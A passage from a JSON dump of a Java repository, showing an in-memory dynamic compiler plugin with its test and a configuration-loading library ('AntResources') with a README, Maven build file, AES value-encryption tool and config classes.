ToolProvider.getSystemJavaCompiler();\n        this.standardFileManager = compiler.getStandardFileManager(null, null, null);\n        this.memoryJavaFileManage = new JMemoryJavaFileManage(standardFileManager);\n        this.parallelLockMap = paralleLock ? new ConcurrentHashMap<String, Object>() : null;\n    }\n\n    /**\n     * 编译\n     * \n     */\n    public JCompileResult compile(String content) throws Exception {\n        return this.compile(getFullClassName(content), content);\n    }\n\n    /**\n     * 编译\n     * \n     */\n    public JCompileResult compile(String className, String content) throws Exception {\n        DiagnosticCollector<JavaFileObject> diagnosticCollector = new DiagnosticCollector<>();\n        JStringJavaFileObject stringJavaFileObject = new JStringJavaFileObject(className, content);\n        synchronized (getClassCompilingLock(className)) {\n            CompilationTask task = this.compiler.getTask(null, this.memoryJavaFileManage, diagnosticCollector, null,\n                    null, Arrays.asList(stringJavaFileObject));\n            long start = System.currentTimeMillis();\n            boolean success = task.call();\n            long useTime = System.currentTimeMillis() - start;\n            return new JCompileResult(success, useTime, diagnosticCollector, className,\n                    this.memoryJavaFileManage.getCompiledBytes(className));\n        }\n    }\n\n    /**\n     * 通过代码简单解析全限定类名\n     * \n     */\n    private String getFullClassName(String content) {\n        StringBuilder builder = new StringBuilder();\n        Matcher matcher = packagePattern.matcher(content);\n        if (matcher.find()) {\n            builder.append(matcher.group(1)).append(\".\");\n        }\n        matcher = classPattern.matcher(content);\n        if (matcher.find()) {\n            builder.append(matcher.group(1));\n        } else {\n            throw new IllegalArgumentException(\"无法获得类名称\");\n        }\n        return builder.toString();\n    }\n\n    /**\n     * 类编译锁\n     * \n     */\n    private Object getClassCompilingLock(String className) {\n        Object lock = this;\n        if (this.parallelLockMap != null) {\n            Object newLock = new Object();\n            lock = this.parallelLockMap.putIfAbsent(className, newLock);\n            if (lock == null) {\n                lock = newLock;\n            }\n        }\n        return lock;\n    }\n\n    @Override\n    public void close() throws IOException {\n        if (this.memoryJavaFileManage != null) {\n            this.memoryJavaFileManage.close();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JMemoryJavaFileManage.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport java.io.IOException;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport javax.tools.FileObject;\nimport javax.tools.ForwardingJavaFileManager;\nimport javax.tools.JavaFileManager;\nimport javax.tools.JavaFileObject;\nimport javax.tools.JavaFileObject.Kind;\n\n/**\n * 内存文件管理器，用于存储编译后的字节码，输出到内存中\n * \n * @author jianggujin\n *\n */\npublic class JMemoryJavaFileManage extends ForwardingJavaFileManager<JavaFileManager> {\n    /**\n     * 临时缓存\n     */\n    private Map<String, JMemoryJavaFileObject> caches;\n\n    public JMemoryJavaFileManage(JavaFileManager fileManager) {\n        super(fileManager);\n        this.caches = new ConcurrentHashMap<>();\n    }\n\n    @Override\n    public JavaFileObject getJavaFileForOutput(Location location, String className, Kind kind, FileObject sibling)\n            throws IOException {\n        JMemoryJavaFileObject memoryJavaFileObject = new JMemoryJavaFileObject(className, kind);\n        this.caches.put(className, memoryJavaFileObject);\n        return memoryJavaFileObject;\n    }\n\n    /**\n     * 获得编译后的字节数组，同时会将其从缓存中移除\n     * \n     * @param className\n     * \n     * @return\n     */\n    public byte[] getCompiledBytes(String className) {\n        JMemoryJavaFileObject memoryJavaFileObject = this.caches.remove(className);\n        return memoryJavaFileObject == null ? null : memoryJavaFileObject.getCompiledBytes();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JMemoryJavaFileObject.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\n/**\n * 用于存储编译后的字节码，输出到内存中\n * \n * @author jianggujin\n *\n */\npublic class JMemoryJavaFileObject extends JAbstractJavaFileObject {\n    /**\n     * 编译后的字节码输出流\n     */\n    private ByteArrayOutputStream compileStream;\n\n    /**\n     * 遵循Java规范的类名\n     * \n     */\n    public JMemoryJavaFileObject(String className, Kind kind) {\n        super(className, kind);\n    }\n\n    @Override\n    public OutputStream openOutputStream() throws IOException {\n        this.compileStream = new ByteArrayOutputStream();\n        return this.compileStream;\n    }\n\n    /**\n     * 获得编译后的字节数组\n     * \n     */\n    public byte[] getCompiledBytes() {\n        return this.compileStream.toByteArray();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/main/java/com/jun/plugin/compiler/JStringJavaFileObject.java",
    "content": "/**\n * Copyright 2020 jianggujin (www.jianggujin.com).\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.jun.plugin.compiler;\n\nimport java.io.IOException;\n\n/**\n * 用于存储Java源码\n * \n * @author jianggujin\n *\n */\npublic class JStringJavaFileObject extends JAbstractJavaFileObject {\n    /**\n     * 等待编译的源码内容\n     */\n    private String content;\n\n    /**\n     * 遵循Java规范的类名及文件\n     * \n     */\n    public JStringJavaFileObject(String className, String content) {\n        super(className, Kind.SOURCE);\n        this.content = content;\n    }\n\n    @Override\n    public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {\n        return content;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_compiler/src/test/java/com/jun/plugin/compiler/test/CompileTest.java",
    "content": "package com.jun.plugin.compiler.test;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.compiler.JCompileResult;\nimport com.jun.plugin.compiler.JMemoryJavaCompiler;\n\npublic class CompileTest {\n    @Test\n    public void test() throws Exception {\n        String content = \"package com.jianggujin.compiler.test;\"\n                + \"public class Test implements com.jianggujin.compiler.test.CompileTest.Parent {\"\n                + \"public void say(){\" + \"System.out.println(\\\"this is dynamic compile class.\\\");\" + \"}}\";\n        JMemoryJavaCompiler compiler = new JMemoryJavaCompiler();\n        JCompileResult result = compiler.compile(content);\n        System.out.println(result);\n        if (result.isSuccess()) {\n            ((Parent) result.newInstance()).say();\n        }\n        compiler.close();\n    }\n\n    public interface Parent {\n        void say();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/.gitignore",
    "content": "/.settings/\n/**/.settings/\n/target/\n/**/target/\n/.idea/\n/*.iml\n/**/*.iml\n/.project\n/**/.project\n/**/.classpath\n*.prefs\n*.classpath\n*.project\n/**/apidoc\n*.log\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/README.md",
    "content": "# AntResources\n\n#### 项目介绍\n读取配置文件的工具，yaml，properties，xml，db，git中读取配置。\n\n[![Maven metadata URI](https://img.shields.io/maven-metadata/v/http/central.maven.org/maven2/cn/antcore/AntResources/maven-metadata.xml.svg)](https://mvnrepository.com/artifact/cn.antcore/AntResources) \n[![Hex.pm](https://img.shields.io/hexpm/l/plug.svg)](https://mvnrepository.com/artifact/cn.antcore/AntResource)\n[![jdk](https://img.shields.io/badge/JDK-1.7+-green.svg)](https://mvnrepository.com/artifact/cn.antcore/AntResource)\n\n#### 软件架构\n后期补充\n\n\n#### 安装教程\n\nMaven仓库坐标：\n```xml\n<dependency>\n    <groupId>cn.antcore</groupId>\n    <artifactId>AntResources</artifactId>\n    <version>${Maven仓库最新版本}</version>\n    <scope>compile</scope>\n</dependency>\n```\n\n#### 使用说明\n\n最新使用方法参见Test.java\n\n```java\nPropertiesResources resources = new PropertiesResources();\nresources.loadByClassPath(\"application.properties\");\nSystem.err.println(resources.getResources());\n```\n```java\nPropertiesResources resources = new PropertiesResources();\nresources.loadByFilePath(\"D:\\\\config\\\\common.properties\");\nSystem.err.println(resources.getResources());\n```\n```java\nXmlResources resources = new XmlResources();\nresources.loadByClassPath(\"application.xml\");\nSystem.err.println(resources.getResources());\n```\n```java\nXmlResources resources = new XmlResources();\nresources.loadByFilePath(\"D:\\\\config\\\\application.xml\");\nSystem.err.println(resources.getResources());\n```\n```java\nYamlResources resources = new YamlResources();\nresources.loadByClassPath(\"application.yml\");\nfor (Object key : resources.getResources().keySet()) {\n    System.err.println(key + \"：\" + resources.getResources().get(key));\n}\n```\n```java\nDbResources resources = new DbResources();\nresources.load();\nfor (Object key : resources.getResources().keySet()) {\n    System.err.println(key + \"：\" + resources.getResources().get(key));\n}\n```\n```java\nDbResources resources = new DbResources();\nresources.load(\"tb_config\");\nfor (Object key : resources.getResources().keySet()) {\n    System.err.println(key + \"：\" + resources.getResources().get(key));\n}\n```\n```java\nGitResources resources = new GitResources();\nresources.load(\"client\");\nfor (Object key : resources.getResources().keySet()) {\n    System.err.println(key + \"：\" + resources.getResources().get(key));\n}\n```\n```java\nResources resources = new AutoResources(\"db:tb_config\");\n//Resources resources = new AutoResources(\"classpath:application.yml\");\n//Resources resources = new AutoResources(\"file:D:\\application.yml\");\n//Resources resources = new AutoResources(\"git:test\");\nSystem.err.println(resources.getResources());\n```\n* 默认启动配置文件：application.yml|application.properties|application.xml\n\n* profile，设置配置文件环境\n    ```java\n    System.setProperty(\"ant.core.resources.profile\", \"release\");\n    ```\n    ```yaml\n    ant:\n      core:\n        resources:\n          profile: dev\n    ```\n    以上两种方式均可，建议使用第一种方式\n\n* DbResources，从数据库中读取资源；\n    ```yaml\n    ant:\n      core:\n        resources:\n          db:\n            dataSource: cn.antcore.resources.db.datasource.DefaultDataSource #数据库连接池，使用默认连接池需要导入com.alibaba.druid连接池；如需自定义连接池，请自定义继承AbstractDataSource抽象类，并在此处指定它。\n            driveClassName: com.mysql.jdbc.Driver\n            url: jdbc:mysql://127.0.0.1:3306/db_config?characterEncoding=utf-8&useSSL=false\n            username: root\n            password: 123123\n            tableName: tb_config\n    ```\n\n    > 从指定表读取配置: DbResources.load(var1)，指定一张数据库表名;\n\n    > 从数据库中读取的配置，表中必须包含字段【key,value】两个字段，其它字段不限制；\n\n* GitResources，从Git中读取最新配置；\n    ```yaml\n    ant:\n      core:\n        resources:\n          git:\n            uri: #仓库地址\n            username: #仓库访问用户名\n            password: #仓库访问密码\n            branch: master #仓库分支\n            localDir: #仓库保存地址，默认${java.io.tmpdir}地址\n    ```\n    > 读取指定配置: GitResources.load(var1)，指定一个资源名；\n    \n* 资源值加密解密配置：\n    * 加密\n    > 执行cn.antcore.resources.ValueEncrypt类，按提示输入密钥和加密字符串，然后得到一段加密密文\n        \n        请输入密钥：Hong\n        请输入命令：e MyName\n        加密成功：7E42A0FE299083AAF3E8BE75D5A17C65\n        \n    * 如何使用？\n    > 先配置GlobalConfig的全局密钥，如下\n    ```java\n    GlobalConfig.useKey(\"Hong\");\n    ```\n    > 将加密值配置进属性值中 **（加密属性值前面一定要加一个'E|'开头，用来标识这个是一个加密属性值）**\n    ```yml\n    my:\n        name: E|7E42A0FE299083AAF3E8BE75D5A17C65\n    ```\n\n#### 交流群\n\n1. QQ群：499033245\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_config_resources</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <java.version>1.7</java.version>\n        <druid.version>1.0.16</druid.version>\n        <mysql.version>5.1.44</mysql.version>\n        <test.version>4.12</test.version>\n        <spring.jdbc.version>4.3.13.RELEASE</spring.jdbc.version>\n        <jgit.version>5.0.2.201807311906-r</jgit.version>\n        <slf4j.version>1.7.25</slf4j.version>\n        <yaml.version>1.21</yaml.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>${slf4j.version}</version>\n            <scope>compile</scope>\n        </dependency>\n\n        <dependency>\n            <!--实际使用DB配置时，自行导入数据库驱动-->\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <version>${mysql.version}</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <!--实际使用数据库连接池时，自行导入数据库连接池-->\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>${druid.version}</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n            <version>${spring.jdbc.version}</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.eclipse.jgit</groupId>\n            <artifactId>org.eclipse.jgit</artifactId>\n            <version>${jgit.version}</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.yaml</groupId>\n            <artifactId>snakeyaml</artifactId>\n            <version>${yaml.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>${test.version}</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <profiles>\n        <profile>\n            <id>release</id>\n            <build>\n                <!-- <finalName>AntResources</finalName> -->\n                <plugins>\n                    <!-- Source -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-source-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>jar-no-fork</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- Javadoc -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-javadoc-plugin</artifactId>\n                        <executions>\n                            <execution>\n                                <phase>package</phase>\n                                <goals>\n                                    <goal>jar</goal>\n                                </goals>\n                                <!-- <configuration> <additionalparam>-Xdoclint:none</additionalparam>\n                                    </configuration> -->\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- GPG -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-gpg-plugin</artifactId>\n                        <version>1.6</version>\n                        <executions>\n                            <execution>\n                                <phase>verify</phase>\n                                <goals>\n                                    <goal>sign</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                    <!-- skipJunitTest -->\n                    <plugin>\n                        <groupId>org.apache.maven.plugins</groupId>\n                        <artifactId>maven-surefire-plugin</artifactId>\n                        <version>2.19.1</version>\n                        <configuration>\n                            <skipTests>true</skipTests>\n                        </configuration>\n                    </plugin>\n                </plugins>\n            </build>\n            <distributionManagement>\n                <snapshotRepository>\n                    <id>oss</id>\n                    <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n                </snapshotRepository>\n                <repository>\n                    <id>oss</id>\n                    <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n                </repository>\n            </distributionManagement>\n        </profile>\n    </profiles>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/Constants.java",
    "content": "package com.jun.plugin.resources;\n\n/**\n * Created By Hong on 2018/7/30\n **/\npublic interface Constants {\n\n    String INIT_CONFIG = \"application\";\n\n    String DB_DEFAULT_DATA_SOURCE = \"cn.antcore.resources.db.datasource.DefaultDataSource\";\n    String DB_CONFIG_KEY = \"key\";\n    String DB_CONFIG_VALUE = \"value\";\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/KeyConstants.java",
    "content": "package com.jun.plugin.resources;\n\n/**\n * Created By Hong on 2018/7/30\n **/\npublic interface KeyConstants {\n\n    String PROFILE = \"ant.core.resources.profile\";\n\n    String DB_DATA_SOURCE = \"ant.core.resources.db.dataSource\";\n    String DB_DRIVER_CLASS_NAME = \"ant.core.resources.db.driveClassName\";\n    String DB_URL = \"ant.core.resources.db.url\";\n    String DB_USERNAME = \"ant.core.resources.db.username\";\n    String DB_PASSWORD = \"ant.core.resources.db.password\";\n    String DB_TABLE_NAME = \"ant.core.resources.db.tableName\";\n\n    String GIT_URI = \"ant.core.resources.git.uri\";\n    String GIT_USERNAME = \"ant.core.resources.git.username\";\n    String GIT_PASSWORD = \"ant.core.resources.git.password\";\n    String GIT_BRANCH = \"ant.core.resources.git.branch\";\n    String GIT_LOCAL_DIR = \"ant.core.resources.git.localDir\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/PrefixConstants.java",
    "content": "package com.jun.plugin.resources;\n\n/**\n * \n * Created By Hong on 2018/8/13\n **/\npublic interface PrefixConstants {\n\n    String CLASS = \"classpath\";\n    String FILE = \"file\";\n    String DB = \"db\";\n    String GIT = \"git\";\n    String YAML = \"yaml\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/ReadResources.java",
    "content": "package com.jun.plugin.resources;\n\nimport java.io.IOException;\nimport java.io.InputStream;\n\n/**\n * 资源接口\n * Created by Hong on 2017/12/26.\n */\npublic interface ReadResources {\n\n    /**\n     * 加载资源\n     * @param is            输入流\n     * @throws IOException  异常\n     */\n    void load(InputStream is) throws IOException;\n}"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/Resources.java",
    "content": "package com.jun.plugin.resources;\n\nimport java.util.Map;\n\nimport com.jun.plugin.resources.config.Config;\n\n/**\n * 资源接口\n * Created by Hong on 2017/12/26.\n */\npublic interface Resources extends Config {\n\n    /**\n     * 读取所有资源\n     * @return key,value\n     */\n    Map<Object, Object> getResources();\n\n    /**\n     * 将资源写入本地属性中\n     */\n    void writeLocalProperties();\n}"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/SuffixConstants.java",
    "content": "package com.jun.plugin.resources;\n\n/**\n * Created By Hong on 2018/8/13\n **/\npublic interface SuffixConstants {\n\n    String YML = \"yml\";\n    String YAML = \"yaml\";\n    String PROPERTIES = \"properties\";\n    String XML = \"xml\";\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/ValueEncrypt.java",
    "content": "package com.jun.plugin.resources;\n\nimport java.util.Scanner;\n\nimport com.jun.plugin.resources.utils.AES;\nimport com.jun.plugin.resources.utils.StringUtils;\n\n/**\n * Value加密工具\n * Created by Hong on 2019/4/19\n */\npublic class ValueEncrypt {\n\n    private String key;\n\n    public static void main(String[] args) {\n        ValueEncrypt valueEncrypt = new ValueEncrypt();\n        System.err.print(\"请输入密钥：\");\n        valueEncrypt.setKey(new Scanner(System.in).next());\n        while (true) {\n            System.err.print(\"请输入命令：\");\n            String text = new Scanner(System.in).nextLine();\n            if (StringUtils.isEmpty(text)) {\n                continue;\n            } else if (\"exit\".equalsIgnoreCase(text)) {\n                System.err.println(\"成功退出!\");\n                System.exit(0);\n            } else if (\"sk\".equalsIgnoreCase(text)) {\n                valueEncrypt.setKey(text);\n                System.err.println(\"重置密钥成功！\");\n                continue;\n            } else if (\"dk\".equalsIgnoreCase(text)) {\n                System.err.println(\"当前使用密钥：\" + valueEncrypt.getKey());\n                continue;\n            }\n\n            int index;\n            if ((index = text.indexOf(\" \")) == -1) {\n                System.err.println(\"命令错误！\");\n                continue;\n            }\n            String var1 = text.substring(0, index);\n            String var2 = text.substring(index + 1);\n            if (\"e\".equalsIgnoreCase(var1)) {\n                //开始加密\n                System.err.println(\"加密成功：\" + valueEncrypt.encrypt(var2));\n            } else if (\"d\".equalsIgnoreCase(var1)) {\n                //开始解密\n                System.err.println(\"解密成功：\" + valueEncrypt.decrypt(var2));\n            }\n            System.err.println();\n        }\n    }\n\n    public void setKey(String key) {\n        this.key = key;\n    }\n\n    public String getKey() {\n        return key;\n    }\n\n    public String encrypt(String var) {\n        return AES.encrypt(var, key);\n    }\n\n    public String decrypt(String var) {\n        return AES.decrypt(var, key);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/config/AbstractConfig.java",
    "content": "package com.jun.plugin.resources.config;\n\nimport java.io.IOException;\n\nimport com.jun.plugin.resources.Resources;\nimport com.jun.plugin.resources.SuffixConstants;\nimport com.jun.plugin.resources.extend.PropertiesResources;\nimport com.jun.plugin.resources.extend.XmlResources;\nimport com.jun.plugin.resources.extend.YamlResources;\n\n/**\n * Created by Hong on 2018/1/3.\n */\npublic abstract class AbstractConfig {\n\n    private final static String[] resourcesNames = {SuffixConstants.YML, SuffixConstants.YAML, SuffixConstants.PROPERTIES, SuffixConstants.XML};\n\n    /**\n     * 获取资源文件\n     *\n     * @param name classpath 文件名\n     * @return Resources\n     * @throws IOException IOException\n     */\n    protected Resources getResources(String name) throws IOException {\n        name = getResourcesName(name);\n        if (name.endsWith(SuffixConstants.YAML) || name.endsWith(SuffixConstants.YML)) {\n            //Yaml资源\n            YamlResources resources = new YamlResources();\n            resources.loadByClassPath(name);\n            return resources;\n        } else if (name.endsWith(SuffixConstants.PROPERTIES)) {\n            //Properties资源\n            PropertiesResources resources = new PropertiesResources();\n            resources.loadByClassPath(name);\n            return resources;\n        } else if (name.endsWith(SuffixConstants.XML)) {\n            //Xml资源\n            XmlResources resources = new XmlResources();\n            resources.loadByClassPath(name);\n            return resources;\n        }\n        return null;\n    }\n\n    /**\n     * 获取存在的资源名\n     *\n     * @param resourcesName 资源名（不含后缀）\n     * @return 资源名\n     */\n    private String getResourcesName(String resourcesName) {\n        for (String name : resourcesNames) {\n            name = resourcesName + \".\" + name;\n            if (getClass().getResourceAsStream(\"/\" + name) != null) {\n                return name;\n            }\n        }\n        return \"\";\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/config/Config.java",
    "content": "package com.jun.plugin.resources.config;\n\nimport java.util.Map;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic interface Config {\n\n    String getValue(String key);\n\n    Boolean getBooleanValue(String key);\n\n    Integer getIntegerValue(String key);\n\n    Float getFloatValue(String key);\n\n    Double getDoubleValue(String key);\n\n    Character getCharValue(String key);\n\n    Object get(String key);\n\n    Map<Object, Object> getConfig();\n\n    void clear();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/config/GlobalConfig.java",
    "content": "package com.jun.plugin.resources.config;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.resources.Constants;\nimport com.jun.plugin.resources.KeyConstants;\nimport com.jun.plugin.resources.Resources;\nimport com.jun.plugin.resources.convert.impl.*;\nimport com.jun.plugin.resources.core.AutoResources;\nimport com.jun.plugin.resources.encrypt.ResourceEncrypt;\nimport com.jun.plugin.resources.utils.ResourcesUtils;\nimport com.jun.plugin.resources.utils.StringUtils;\n\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.Map;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class GlobalConfig extends AbstractConfig implements Config, RefreshConfig {\n\n    private static final Logger LOG = LoggerFactory.getLogger(GlobalConfig.class);\n\n    private static final Map<Object, Object> KVS = new Hashtable<>();\n\n    {\n        /**\n         * 初始化，加载默认的配置文件\n         */\n        try {\n            KVS.clear();\n            //读取默认配置\n            Resources resources = super.getResources(Constants.INIT_CONFIG);\n            if (resources != null && resources.getResources() != null) {\n                this.putAll(resources.getResources());\n            }\n            //读取多环境配置\n            resources = super.getResources(ResourcesUtils.getProfileProperties(Constants.INIT_CONFIG, System.getProperty(KeyConstants.PROFILE)));\n            if (resources != null && resources.getResources() != null) {\n                this.putAll(resources.getResources());\n            }\n            //将系统属性加载进CONFIG中\n            this.putAll(System.getProperties());\n        } catch (IOException e) {\n            if (LOG.isErrorEnabled()) {\n                LOG.error(\"Init Config Fail.\");\n            }\n        }\n    }\n\n    /**\n     * 设置密钥Key\n     *\n     * @param key 密钥\n     */\n    public static void useKey(String key) {\n        ResourceEncrypt.use(key);\n    }\n\n    /**\n     * 单例钩子\n     */\n    private static class SingletonHolder {\n        private static GlobalConfig INSTANCE = new GlobalConfig();\n    }\n\n    /**\n     * 获取GlobalConfig实例\n     *\n     * @return\n     */\n    private static GlobalConfig getInstance() {\n        return SingletonHolder.INSTANCE;\n    }\n\n    /**\n     * 获取单例GlobalConfig\n     *\n     * @return Config\n     */\n    public static Config get() {\n        return getInstance();\n    }\n\n    /**\n     * 读取配置资源集合\n     *\n     * @param var1 资源文件名集合\n     * @return Config\n     */\n    public static Config readConfig(String[] var1) {\n        getInstance().read(var1);\n        return getInstance();\n    }\n\n    /**\n     * 添加配置\n     *\n     * @param config 配置集合\n     * @return Config\n     */\n    public static Config putAll(Map<Object, Object> config) {\n        KVS.putAll(config);\n        return getInstance();\n    }\n\n    /**\n     * 添加配置\n     *\n     * @param key   Key\n     * @param value Value\n     * @return Config\n     */\n    public static Config put(Object key, Object value) {\n        KVS.put(key, value);\n        return getInstance();\n    }\n\n    /**\n     * 封闭的构造函数\n     */\n    private GlobalConfig() {\n\n    }\n\n    /**\n     * 读取配置资源\n     *\n     * @param var1 资源名\n     */\n    private void read(String[] var1) {\n        if (var1 == null) {\n            return;\n        }\n        for (String name : var1) {\n            this.read(name);\n        }\n    }\n\n    /**\n     * 读取配置资源\n     *\n     * @param name 资源名\n     */\n    private void read(String name) {\n        try {\n            if (StringUtils.isEmpty(name)) {\n                return;\n            }\n            Resources resources = new AutoResources(name.trim());\n            KVS.putAll(resources.getResources());\n        } catch (IOException e) {\n        }\n    }\n\n    @Override\n    public String getValue(String key) {\n        return new StringConvert().convert(KVS.get(key));\n    }\n\n    @Override\n    public Boolean getBooleanValue(String key) {\n        return new BooleanConvert().convert(KVS.get(key));\n    }\n\n    @Override\n    public Integer getIntegerValue(String key) {\n        return new IntegerConvert().convert(KVS.get(key));\n    }\n\n    @Override\n    public Float getFloatValue(String key) {\n        return new FloatConvert().convert(KVS.get(key));\n    }\n\n    @Override\n    public Double getDoubleValue(String key) {\n        return new DoubleConvert().convert(KVS.get(key));\n    }\n\n    @Override\n    public Character getCharValue(String key) {\n        return new CharConvert().convert(KVS.get(key));\n    }\n\n    @Override\n    public Object get(String key) {\n        return KVS.get(key);\n    }\n\n    @Override\n    public Map<Object, Object> getConfig() {\n        return new HashMap<>(KVS);\n    }\n\n    @Override\n    public void clear() {\n        KVS.clear();\n    }\n\n    @Override\n    public void refresh() {\n        SingletonHolder.INSTANCE = new GlobalConfig();\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/config/RefreshConfig.java",
    "content": "package com.jun.plugin.resources.config;\n\n/**\n * Created By Hong on 2018/7/30\n **/\npublic interface RefreshConfig {\n    void refresh();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/Convert.java",
    "content": "package com.jun.plugin.resources.convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic interface Convert<T> {\n\n    /**\n     * 转换接口\n     * @param obj   转换对象\n     * @return      转换后对象\n     */\n    T convert(Object obj);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/BooleanConvert.java",
    "content": "package com.jun.plugin.resources.convert.impl;\n\nimport com.jun.plugin.resources.convert.Convert;\n\n/**\n * Created by Hong on 2017/12/27.\n */\npublic class BooleanConvert implements Convert<Boolean> {\n\n    @Override\n    public Boolean convert(Object obj) {\n        if(obj == null){\n            return null;\n        }\n        if(obj instanceof Boolean){\n            return (Boolean) obj;\n        } else {\n            return Boolean.valueOf(String.valueOf(obj));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_config_resources/src/main/java/com/jun/plugin/resources/convert/impl/CharConvert.java",
